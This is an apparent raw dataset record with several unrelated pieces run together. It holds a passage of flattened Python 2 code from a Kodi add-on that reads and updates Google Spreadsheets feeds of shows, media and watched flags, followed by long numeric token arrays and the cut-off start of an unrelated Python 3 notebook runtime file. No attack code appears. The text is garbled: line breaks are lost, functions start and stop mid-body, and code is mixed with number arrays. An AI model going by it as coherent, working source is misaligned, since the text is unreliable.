xbmc.log(self.addon.getAddonInfo('getSpreadsheetWorksheets') + ': ' + str(e), xbmc.LOGERROR) response_data = response.read() response.close() for r in re.finditer('<title[^>]+\>([^<]+)</title><content[^>]+\>[^<]+</content><link rel=\'[^\#]+\#listfeed\' type=\'application/atom\+xml\' href=\'([^\']+)\'' , response_data, re.DOTALL): title,url = r.groups() worksheets[title] = url nextURL = '' for r in re.finditer('<link rel=\'next\' type=\'[^\']+\' href=\'([^\']+)\'' , response_data, re.DOTALL): nextURL = r.groups() if nextURL == '': break else: url = nextURL[0] return worksheets def getShows(self,url,channel): params = urllib.urlencode({'channel': channel}) url = url + '?sq=' + params shows = {} while True: req = urllib2.Request(url, None, self.service.getHeadersList()) try: response = urllib2.urlopen(req) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e), xbmc.LOGERROR) response_data = response.read() count=0; for r in re.finditer('<gsx:channel>([^<]*)</gsx:channel><gsx:month>([^<]*)</gsx:month><gsx:day>([^<]*)</gsx:day><gsx:weekday>([^<]*)</gsx:weekday><gsx:hour>([^<]*)</gsx:hour><gsx:minute>([^<]*)</gsx:minute><gsx:show>([^<]*)</gsx:show><gsx:order>([^<]*)</gsx:order><gsx:includewatched>([^<]*)</gsx:includewatched>' , response_data, re.DOTALL): shows[count] = r.groups() #source,nfo,show,season,episode,part,watched,duration #channel,month,day,weekday,hour,minute,show,order,includeWatched count = count + 1 nextURL = '' for r in re.finditer('<link rel=\'next\' type=\'[^\']+\' href=\'([^\']+)\'' , response_data, re.DOTALL): nextURL = r.groups() response.close() if nextURL == '': break else: url = nextURL[0] return shows def getMedia(self,url, folderID=None, fileID=None): if fileID is None: params = urllib.urlencode({'folderid': folderID}) else: params = urllib.urlencode({'fileid': fileID}) url = url + '?sq=' + params media = {} while True: req = urllib2.Request(url, None, self.service.getHeadersList()) try: response = urllib2.urlopen(req) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e), xbmc.LOGERROR) response_data = response.read() count=0; for r in re.finditer('<gsx:folderid>([^<]*)</gsx:folderid><gsx:foldername>([^<]*)</gsx:foldername><gsx:fileid>([^<]*)</gsx:fileid><gsx:filename>([^<]*)</gsx:filename><gsx:nfo>([^<]*)</gsx:nfo><gsx:order>([^<]*)</gsx:order><gsx:watched>([^<]*)</gsx:watched><gsx:resume>([^<]*)</gsx:resume>' , response_data, re.DOTALL): media[count] = r.groups() count = count + 1 nextURL = '' for r in re.finditer('<link rel=\'next\' type=\'[^\']+\' href=\'([^\']+)\'' , response_data, re.DOTALL): nextURL = r.groups() response.close() if nextURL == '': break else: url = nextURL[0] return media def getMediaInformation(self,url,folderID): params = urllib.urlencode({'folderuid': folderID}) url = url + '?sq=' + params media = {} while True: req = urllib2.Request(url, None, self.service.getHeadersList()) try: response = urllib2.urlopen(req) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e), xbmc.LOGERROR) return response_data = response.read() count=0; for r in re.finditer('<gsx:foldername>([^<]*)</gsx:foldername><gsx:folderuid>([^<]*)</gsx:folderuid><gsx:filename>([^<]*)</gsx:filename><gsx:fileuid>([^<]*)</gsx:fileuid><gsx:season>([^<]*)</gsx:season><gsx:episode>([^<]*)</gsx:episode><gsx:watched>([^<]*)</gsx:watched><gsx:sequence>([^<]*)</gsx:sequence>' , response_data, re.DOTALL): media[count] = r.groups() count = count + 1 nextURL = '' for r in re.finditer('<link rel=\'next\' type=\'[^\']+\' href=\'([^\']+)\'' , response_data, re.DOTALL): nextURL = r.groups() response.close() if nextURL == '': break else: url = nextURL[0] return media def getVideo(self,url,show): params = urllib.urlencode({'show': show}) url = url + '?sq=' + params + '+and+watched=0' shows = {} while True: req = urllib2.Request(url, None, self.service.getHeadersList()) try: response = urllib2.urlopen(req) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e), xbmc.LOGERROR) response_data = response.read() count=0; for r in re.finditer('<entry[^\>]*>.*?<gsx:source>([^<]*)</gsx:source><gsx:nfo>([^<]*)</gsx:nfo><gsx:show>([^<]*)</gsx:show><gsx:season>([^<]*)</gsx:season><gsx:episode>([^<]*)</gsx:episode><gsx:part>([^<]*)</gsx:part><gsx:watched>([^<]*)</gsx:watched><gsx:duration>([^<]*)</gsx:duration></entry>' , response_data, re.DOTALL): shows[count] = r.groups() #source,nfo,show,season,episode,part,watched,duration count = count + 1 nextURL = '' for r in re.finditer('<link rel=\'next\' type=\'[^\']+\' href=\'([^\']+)\'' , response_data, re.DOTALL): nextURL = r.groups() response.close() if nextURL == '': break else: url = nextURL[0] return shows def setVideoWatched(self,url,source): # import urllib # from cookielib import CookieJar # cj = CookieJar() # opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) # urllib2.install_opener(opener) source = re.sub(' ', '+', source) # params = urllib.urlencode(source) url = url + '?sq=source="' + source +'"' req = urllib2.Request(url, None, self.service.getHeadersList()) try: response = urllib2.urlopen(req) # response = opener.open(url, None,urllib.urlencode(header)) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e), xbmc.LOGERROR) response_data = response.read() response.close() editURL='' for r in re.finditer('<link rel=\'(edit)\' type=\'application/atom\+xml\' href=\'([^\']+)\'/>' , response_data, re.DOTALL): (x,editURL) = r.groups(1) for r in re.finditer('<link rel=\'edit\' [^\>]+>(.*?</entry>)' , response_data, re.DOTALL): entry = r.group(1) entry = re.sub('<gsx:watched>([^\<]*)</gsx:watched>', '<gsx:watched>1</gsx:watched>', entry) # entry = re.sub(' gd\:etag[^\>]+>', ' xmlns="http://www.w3.org/2005/Atom" xmlns:gs="http://schemas.google.com/spreadsheets/2006" xmlns:gsx="http://schemas.google.com/spreadsheets/2006/extended">', entry) # entry = re.sub('<entry>', '<?xml version=\'1.0\' encoding=\'UTF-8\'?><entry xmlns="http://www.w3.org/2005/Atom" xmlns:gsx="http://schemas.google.com/spreadsheets/2006/extended">', entry) #entry = re.sub('<entry>', '<?xml version=\'1.0\' encoding=\'UTF-8\'?><entry xmlns="http://www.w3.org/2005/Atom" xmlns:gsx="http://schemas.google.com/spreadsheets/2006/extended"> ', entry) entry = '<?xml version=\'1.0\' encoding=\'UTF-8\'?><entry xmlns="http://www.w3.org/2005/Atom" xmlns:gs="http://schemas.google.com/spreadsheets/2006" xmlns:gsx="http://schemas.google.com/spreadsheets/2006/extended">' + entry # entry = "<?xml version='1.0' encoding='UTF-8'?><entry xmlns='http://www.w3.org/2005/Atom' xmlns:gsx='http://schemas.google.com/spreadsheets/2006/extended'><id>https://spreadsheets.google.com/feeds/list/147ajW3jRGUTwcuBSLx5dYw5ar17fo9NPtu8azHa3j0w/od6/private/full/1lcxsw</id><updated>2015-05-01T18:49:50.299Z</updated><category scheme='http://schemas.google.com/spreadsheets/2006' term='http://schemas.google.com/spreadsheets/2006#list'/><title type='text'>S3E12 - The Red Dot.avi-0002</title><content type='text'>nfo: test.nfo, show: Seinfeld, season: 3, episode: 1, part: 1, watched: 0, duration: 1</content><link rel='self' type='application/atom+xml' href='https://spreadsheets.google.com/feeds/list/147ajW3jRGUTwcuBSLx5dYw5ar17fo9NPtu8azHa3j0w/od6/private/full/1lcxsw'/><link rel='edit' type='application/atom+xml' href='https://spreadsheets.google.com/feeds/list/147ajW3jRGUTwcuBSLx5dYw5ar17fo9NPtu8azHa3j0w/od6/private/full/1lcxsw/in881g9gmnffm'/><gsx:source>S3E12 - The Red Dot.avi-0002</gsx:source><gsx:nfo>test.nfo</gsx:nfo><gsx:show>Seinfeld</gsx:show><gsx:season>3</gsx:season><gsx:episode>1</gsx:episode><gsx:part>1</gsx:part><gsx:watched>0</gsx:watched><gsx:duration>1</gsx:duration></entry>" #xmlns:gsx='http://schemas.google.com/spreadsheets/2006/extended' # entry = " <?xml version='1.0' encoding='UTF-8'?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:gsx='http://schemas.google.com/spreadsheets/2006/extended' xmlns:gd=\"http://schemas.google.com/g/2005\">"+entry # entry = '<feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:gsx="http://schemas.google.com/spreadsheets/2006/extended" xmlns:gd="http://schemas.google.com/g/2005" gd:etag=\'W/"D0cERnk-eip7ImA9WBBXGEg."\'><entry> <id> https://spreadsheets.google.com/feeds/worksheets/key/private/full/worksheetId </id> <updated>2007-07-30T18:51:30.666Z</updated> <category scheme="http://schemas.google.com/spreadsheets/2006" term="http://schemas.google.com/spreadsheets/2006#worksheet"/> <title type="text">Income</title> <content type="text">Expenses</content> <link rel="http://schemas.google.com/spreadsheets/2006#listfeed" type="application/atom+xml" href="https://spreadsheets.google.com/feeds/list/key/worksheetId/private/full"/> <link rel="http://schemas.google.com/spreadsheets/2006#cellsfeed" type="application/atom+xml" href="https://spreadsheets.google.com/feeds/cells/key/worksheetId/private/full"/> <link rel="self" type="application/atom+xml" href="https://spreadsheets.google.com/feeds/worksheets/key/private/full/worksheetId"/> <link rel="edit" type="application/atom+xml" href="https://spreadsheets.google.com/feeds/worksheets/key/private/full/worksheetId/version"/> <gs:rowCount>45</gs:rowCount> <gs:colCount>15</gs:colCount></entry>' # req = urllib2.Request(editURL, entry, header) # urllib2.HTTPHandler(debuglevel=1) # req.get_method = lambda: 'PUT' req = urllib2.Request(editURL, entry, self.service.getHeadersList(isPOST=True)) req.get_method = lambda: 'PUT' # req.get_method = lambda: 'DELETE' try: response = urllib2.urlopen(req) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e.read()), xbmc.LOGERROR) response_data = response.read() response.close() def setMediaStatus(self, url, package, resume='', watched=''): import time updated = time.strftime("%Y%m%d%H%M") newurl = url + '?sq=fileid="' + str(package.file.id) +'"' req = urllib2.Request(newurl, None, self.service.getHeadersList()) try: response = urllib2.urlopen(req) # response = opener.open(url, None,urllib.urlencode(header)) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e), xbmc.LOGERROR) response_data = response.read() response.close() editURL='' for r in re.finditer('<link rel=\'edit\' type=\'application/atom\+xml\' href=\'([^\']+)\'/>' , response_data, re.DOTALL): editURL = r.group(1) for r in re.finditer('<link rel=\'edit\' [^\>]+>(.*?</entry>)' , response_data, re.DOTALL): entry = r.group(1) if editURL != '': if resume != '': entry = re.sub('<gsx:resume>([^\<]*)</gsx:resume>', '<gsx:resume>'+str(resume)+'</gsx:resume>', entry) if watched != '': entry = re.sub('<gsx:watched>([^\<]*)</gsx:watched>', '<gsx:watched>'+str(watched)+'</gsx:watched>', entry) entry = re.sub('<gsx:updated>([^\<]*)</gsx:updated>', '<gsx:updated>'+str(updated)+'</gsx:updated>', entry) entry = '<?xml version=\'1.0\' encoding=\'UTF-8\'?><entry xmlns="http://www.w3.org/2005/Atom" xmlns:gs="http://schemas.google.com/spreadsheets/2006" xmlns:gsx="http://schemas.google.com/spreadsheets/2006/extended">' + entry req = urllib2.Request(editURL, entry, self.service.getHeadersList(isPOST=True)) req.get_method = lambda: 'PUT' try: response = urllib2.urlopen(req) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e.read()), xbmc.LOGERROR) response_data = response.read() response.close() else: if resume != '' and watched != '': self.createMediaStatus(url,package,resume,watched, updated=updated) elif resume != '' and watched == '': self.createMediaStatus(url,package,resume=resume, updated=updated) elif resume == '' and watched != '': self.createMediaStatus(url,package,watched=watched, updated=updated) else: self.createMediaStatus(url,package, updated=updated) def getChannels(self,url): params = urllib.urlencode({'orderby': 'channel'}) url = url + '?' + params channels = [] count=0 while True: req = urllib2.Request(url, None, self.service.getHeadersList()) try: response = urllib2.urlopen(req) except urllib2.URLError, e: xbmc.log(self.addon.getAddonInfo('name') + ': ' + str(e), xbmc.LOGERROR) response_data = response.read() for r in re.finditer('<gsx:channel>([^<]*)</gsx:channel>' , response_data, re.DOTALL): (channel) = r.groups() #channel,month,day,weekday,hour,minute,show,order,includeWatched if not channels.__contains__(channel[0]): channels.append(channel[0]) count = count + 1 nextURL = '' for r in re.finditer('<link rel=\'next\' type=\'[^\']+\' href=\'([^\']+)\'' , response_data, re.DOTALL): nextURL = r.groups() response.close() if nextURL == '': break else: url = nextURL[0] return channels
gpl-2.0
[ 2344, 272, 486, 9541, 1323, 28994, 11349, 272, 1898, 334, 35, 9, 6171, 13, 7806, 13972, 300, 3011, 339, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 272, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 272, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 272, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 339, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 272, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 272, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 272, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 339, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 272, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 421, 199, 2344, 199, 199, 646, 747, 199, 646, 295, 199, 646, 4011, 12, 4011, 18, 199, 646, 26234, 199, 199, 646, 11709, 12, 11709, 9291, 12, 26418, 12, 11709, 2718, 199, 199, 646, 13448, 199, 646, 12420, 3070, 421, 199, 533, 486, 30693, 83, 26, 339, 428, 63, 14833, 29, 16, 272, 428, 63, 16413, 29, 17, 272, 428, 63, 11655, 29, 18, 272, 428, 63, 24929, 11655, 29, 19, 272, 428, 63, 2979, 1230, 29, 20, 272, 428, 63, 4896, 4586, 29, 21, 272, 428, 63, 19085, 29, 22, 272, 428, 63, 12125, 29, 23, 272, 428, 63, 18171, 63, 55, 8078, 1149, 29, 24, 2378, 577, 63, 10187, 29, 16, 272, 577, 63, 46, 3230, 29, 17, 272, 577, 63, 19085, 29, 18, 272, 577, 63, 899, 28883, 29, 19, 272, 577, 63, 6102, 7336, 1093, 29, 20, 272, 577, 63, 14848, 29, 21, 272, 577, 63, 55, 8078, 1149, 29, 22, 272, 577, 63, 36, 15301, 29, 23, 339, 347, 636, 826, 721, 277, 12, 2435, 12, 13553, 12, 922, 63, 4054, 304, 267, 291, 14, 9291, 275, 13553, 267, 291, 14, 1364, 275, 2435, 199, 3, 263, 291, 14, 14807, 3070, 275, 12420, 3070, 199, 3, 263, 291, 14, 14807, 3070, 14, 2254, 547, 360, 396, 1673, 396, 358, 398, 291, 14, 751, 63, 4054, 275, 922, 63, 4054, 398, 372, 16478, 327, 272, 327, 2529, 282, 769, 402, 27076, 83, 436, 282, 2142, 370, 3932, 21127, 83, 272, 327, 272, 347, 664, 30693, 1296, 8, 277, 304, 398, 1166, 275, 283, 2859, 921, 19930, 83, 14, 3098, 14, 957, 15, 11522, 15, 19930, 83, 15, 4239, 15, 2861, 7, 398, 27076, 83, 275, 1052, 267, 1830, 715, 26, 288, 2648, 275, 4011, 18, 14, 2017, 8, 633, 12, 488, 12, 291, 14, 1364, 14, 362, 9883, 1296, 1012, 953, 862, 26, 355, 1177, 275, 4011, 18, 14, 10890, 8, 2103, 9, 288, 871, 4011, 18, 14, 31475, 12, 325, 26, 355, 340, 325, 14, 1328, 1137, 8061, 490, 26418, 14, 5619, 1252, 745, 8, 277, 14, 9291, 14, 362, 29925, 1558, 8, 19, 993, 395, 325, 14, 1328, 9, 490, 11709, 14, 793, 8, 277, 14, 9291, 14, 362, 19654, 2354, 360, 362, 30693, 1296, 358, 435, 7596, 283, 435, 620, 8, 69, 395, 11709, 14, 4947, 3170, 9, 490, 291, 14, 14807, 3070, 14, 2254, 547, 360, 362, 30693, 1296, 297, 495, 8, 69, 430, 953, 1177, 63, 576, 275, 1177, 14, 739, 342, 288, 1177, 14, 1600, 342, 22919, 367, 519, 315, 295, 14, 19373, 4827, 1213, 359, 12773, 30, 24621, 30, 31204, 11896, 1108, 1213, 2535, 1317, 359, 12773, 30, 24621, 13489, 28, 2807, 1108, 1317, 2535, 1073, 4668, 9529, 29538, 3, 24621, 3, 800, 24376, 3871, 3985, 730, 25641, 3578, 15, 4188, 60, 11, 1652, 3985, 4369, 25641, 21690, 418, 13439, 891, 2360, 2490, 1177, 63, 576, 12, 295, 14, 16504, 304, 355, 2538, 12, 633, 275, 519, 14, 2634, 342, 355, 27076, 83, 59, 1213, 61, 275, 1166, 953, 2163, 2632, 275, 2125, 288, 367, 519, 315, 295, 14, 19373, 4827, 1073, 4668, 25641, 2184, 3985, 730, 9529, 29538, 21899, 3985, 4369, 25641, 21690, 418, 13439, 891, 2360, 2490, 1177, 63, 576, 12, 295, 14, 16504, 304, 355, 2163, 2632, 275, 519, 14, 2634, 342, 22919, 340, 2163, 2632, 508, 8061, 355, 2059, 288, 587, 26, 355, 1166, 275, 2163, 2632, 59, 16, 61, 7318, 372, 27076, 83, 339, 327, 272, 327, 2529, 282, 769, 402, 27076, 83, 10470, 315, 314, 4475, 5454, 83, 2933, 272, 327, 272, 347, 1218, 6517, 5069, 8, 277, 12, 633, 12, 1213, 12, 4574, 12, 3838, 304, 398, 1406, 275, 469, 283, 1899, 13, 7788, 7, 520, 291, 14, 751, 63, 4054, 12, 283, 11626, 7, 520, 283, 13266, 8880, 1790, 2458, 83, 7, 450, 291, 14, 15846, 14, 362, 3264, 360, 2605, 659, 283, 27413, 13, 3353, 7, 520, 283, 19, 14, 16, 297, 221, 283, 2714, 13, 804, 356, 283, 3578, 15, 4188, 11, 1652, 7, 789, 398, 2397, 275, 2650, 31, 1652, 1015, 25641, 17, 14, 16, 3985, 2644, 25641, 6610, 13, 24, 3985, 31, 2535, 2373, 9604, 628, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 9397, 15, 12097, 2, 9604, 26, 458, 628, 1014, 921, 9482, 14, 3098, 14, 957, 15, 19930, 83, 15, 7968, 8186, 1213, 30, 33, 21127, 68, 24642, 1108, 1213, 2535, 458, 26, 1143, 2353, 30, 1960, 1108, 458, 26, 1143, 2353, 2535, 458, 26, 761, 2353, 30, 1165, 1108, 458, 26, 761, 2353, 2957, 2373, 3524, 398, 2648, 275, 4011, 18, 14, 2017, 8, 633, 12, 2397, 12, 1406, 9, 398, 862, 26, 288, 1177, 275, 4011, 18, 14, 10890, 8, 2103, 9, 267, 871, 4011, 18, 14, 31475, 12, 325, 26, 288, 11709, 14, 793, 8, 277, 14, 9291, 14, 362, 19654, 2354, 360, 354, 358, 435, 7596, 283, 435, 620, 8, 69, 395, 11709, 14, 4947, 3170, 9, 288, 372, 756, 398, 1177, 63, 576, 275, 1177, 14, 739, 342, 267, 1177, 14, 1600, 342, 398, 372, 715, 339, 327, 272, 327, 2529, 282, 769, 402, 27076, 83, 10470, 315, 314, 4475, 5454, 83, 2933, 272, 327, 272, 347, 1218, 5810, 8, 277, 12, 633, 12, 4922, 998, 12, 4922, 985 ]
[ 272, 486, 9541, 1323, 28994, 11349, 272, 1898, 334, 35, 9, 6171, 13, 7806, 13972, 300, 3011, 339, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 272, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 272, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 272, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 339, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 272, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 272, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 272, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 339, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 272, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 421, 199, 2344, 199, 199, 646, 747, 199, 646, 295, 199, 646, 4011, 12, 4011, 18, 199, 646, 26234, 199, 199, 646, 11709, 12, 11709, 9291, 12, 26418, 12, 11709, 2718, 199, 199, 646, 13448, 199, 646, 12420, 3070, 421, 199, 533, 486, 30693, 83, 26, 339, 428, 63, 14833, 29, 16, 272, 428, 63, 16413, 29, 17, 272, 428, 63, 11655, 29, 18, 272, 428, 63, 24929, 11655, 29, 19, 272, 428, 63, 2979, 1230, 29, 20, 272, 428, 63, 4896, 4586, 29, 21, 272, 428, 63, 19085, 29, 22, 272, 428, 63, 12125, 29, 23, 272, 428, 63, 18171, 63, 55, 8078, 1149, 29, 24, 2378, 577, 63, 10187, 29, 16, 272, 577, 63, 46, 3230, 29, 17, 272, 577, 63, 19085, 29, 18, 272, 577, 63, 899, 28883, 29, 19, 272, 577, 63, 6102, 7336, 1093, 29, 20, 272, 577, 63, 14848, 29, 21, 272, 577, 63, 55, 8078, 1149, 29, 22, 272, 577, 63, 36, 15301, 29, 23, 339, 347, 636, 826, 721, 277, 12, 2435, 12, 13553, 12, 922, 63, 4054, 304, 267, 291, 14, 9291, 275, 13553, 267, 291, 14, 1364, 275, 2435, 199, 3, 263, 291, 14, 14807, 3070, 275, 12420, 3070, 199, 3, 263, 291, 14, 14807, 3070, 14, 2254, 547, 360, 396, 1673, 396, 358, 398, 291, 14, 751, 63, 4054, 275, 922, 63, 4054, 398, 372, 16478, 327, 272, 327, 2529, 282, 769, 402, 27076, 83, 436, 282, 2142, 370, 3932, 21127, 83, 272, 327, 272, 347, 664, 30693, 1296, 8, 277, 304, 398, 1166, 275, 283, 2859, 921, 19930, 83, 14, 3098, 14, 957, 15, 11522, 15, 19930, 83, 15, 4239, 15, 2861, 7, 398, 27076, 83, 275, 1052, 267, 1830, 715, 26, 288, 2648, 275, 4011, 18, 14, 2017, 8, 633, 12, 488, 12, 291, 14, 1364, 14, 362, 9883, 1296, 1012, 953, 862, 26, 355, 1177, 275, 4011, 18, 14, 10890, 8, 2103, 9, 288, 871, 4011, 18, 14, 31475, 12, 325, 26, 355, 340, 325, 14, 1328, 1137, 8061, 490, 26418, 14, 5619, 1252, 745, 8, 277, 14, 9291, 14, 362, 29925, 1558, 8, 19, 993, 395, 325, 14, 1328, 9, 490, 11709, 14, 793, 8, 277, 14, 9291, 14, 362, 19654, 2354, 360, 362, 30693, 1296, 358, 435, 7596, 283, 435, 620, 8, 69, 395, 11709, 14, 4947, 3170, 9, 490, 291, 14, 14807, 3070, 14, 2254, 547, 360, 362, 30693, 1296, 297, 495, 8, 69, 430, 953, 1177, 63, 576, 275, 1177, 14, 739, 342, 288, 1177, 14, 1600, 342, 22919, 367, 519, 315, 295, 14, 19373, 4827, 1213, 359, 12773, 30, 24621, 30, 31204, 11896, 1108, 1213, 2535, 1317, 359, 12773, 30, 24621, 13489, 28, 2807, 1108, 1317, 2535, 1073, 4668, 9529, 29538, 3, 24621, 3, 800, 24376, 3871, 3985, 730, 25641, 3578, 15, 4188, 60, 11, 1652, 3985, 4369, 25641, 21690, 418, 13439, 891, 2360, 2490, 1177, 63, 576, 12, 295, 14, 16504, 304, 355, 2538, 12, 633, 275, 519, 14, 2634, 342, 355, 27076, 83, 59, 1213, 61, 275, 1166, 953, 2163, 2632, 275, 2125, 288, 367, 519, 315, 295, 14, 19373, 4827, 1073, 4668, 25641, 2184, 3985, 730, 9529, 29538, 21899, 3985, 4369, 25641, 21690, 418, 13439, 891, 2360, 2490, 1177, 63, 576, 12, 295, 14, 16504, 304, 355, 2163, 2632, 275, 519, 14, 2634, 342, 22919, 340, 2163, 2632, 508, 8061, 355, 2059, 288, 587, 26, 355, 1166, 275, 2163, 2632, 59, 16, 61, 7318, 372, 27076, 83, 339, 327, 272, 327, 2529, 282, 769, 402, 27076, 83, 10470, 315, 314, 4475, 5454, 83, 2933, 272, 327, 272, 347, 1218, 6517, 5069, 8, 277, 12, 633, 12, 1213, 12, 4574, 12, 3838, 304, 398, 1406, 275, 469, 283, 1899, 13, 7788, 7, 520, 291, 14, 751, 63, 4054, 12, 283, 11626, 7, 520, 283, 13266, 8880, 1790, 2458, 83, 7, 450, 291, 14, 15846, 14, 362, 3264, 360, 2605, 659, 283, 27413, 13, 3353, 7, 520, 283, 19, 14, 16, 297, 221, 283, 2714, 13, 804, 356, 283, 3578, 15, 4188, 11, 1652, 7, 789, 398, 2397, 275, 2650, 31, 1652, 1015, 25641, 17, 14, 16, 3985, 2644, 25641, 6610, 13, 24, 3985, 31, 2535, 2373, 9604, 628, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 9397, 15, 12097, 2, 9604, 26, 458, 628, 1014, 921, 9482, 14, 3098, 14, 957, 15, 19930, 83, 15, 7968, 8186, 1213, 30, 33, 21127, 68, 24642, 1108, 1213, 2535, 458, 26, 1143, 2353, 30, 1960, 1108, 458, 26, 1143, 2353, 2535, 458, 26, 761, 2353, 30, 1165, 1108, 458, 26, 761, 2353, 2957, 2373, 3524, 398, 2648, 275, 4011, 18, 14, 2017, 8, 633, 12, 2397, 12, 1406, 9, 398, 862, 26, 288, 1177, 275, 4011, 18, 14, 10890, 8, 2103, 9, 267, 871, 4011, 18, 14, 31475, 12, 325, 26, 288, 11709, 14, 793, 8, 277, 14, 9291, 14, 362, 19654, 2354, 360, 354, 358, 435, 7596, 283, 435, 620, 8, 69, 395, 11709, 14, 4947, 3170, 9, 288, 372, 756, 398, 1177, 63, 576, 275, 1177, 14, 739, 342, 267, 1177, 14, 1600, 342, 398, 372, 715, 339, 327, 272, 327, 2529, 282, 769, 402, 27076, 83, 10470, 315, 314, 4475, 5454, 83, 2933, 272, 327, 272, 347, 1218, 5810, 8, 277, 12, 633, 12, 4922, 998, 12, 4922, 985, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
maxyeg/beaker-notebook
plugin/ipythonPlugins/src/dist/python3/beaker_runtime3.py
5
18118
# Copyright 2014 TWO SIGMA OPEN SOURCE, LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os, json, pandas, numpy import urllib.request, urllib.parse, urllib.error, urllib.request, urllib.error, urllib.parse, IPython, datetime, calendar, math, traceback, time from IPython.utils.traitlets import Unicode class OutputContainer: def __init__(self): self.items = [] def clear(self): self.items = [ ] def addItem(self, obj): self.items.append(obj) def getItems(self): return self.items class BeakerCodeCell: def __init__(self, cellId, evaluatorId): self.cellId = cellId self.evaluatorId = evaluatorId self.code = '' self.outputtype = '' self.output = None self.tags = '' def getCellId(self): return self.cellId def getEvaluatorId(self): return self.evaluatorId def getCode(self): return self.code def getOutputType(self): return self.outputtype def getOutput(self): return self.output def getTags(self): return self.tags def convertTypeName(typ): if typ.startswith("float"): return "double" if typ.startswith("int") or typ.startswith("uint") or typ.startswith("short") or typ.startswith("ushort") or typ.startswith("long") or typ.startswith("ulong"): return "integer" if typ.startswith("bool"): return "boolean" if typ.startswith("date") or typ.startswith("Time"): return "time" return "string" def isPrimitiveType(typ): if typ.startswith("float"): return True if typ.startswith("int") or typ.startswith("uint") or typ.startswith("short") or typ.startswith("ushort") or typ.startswith("long") or 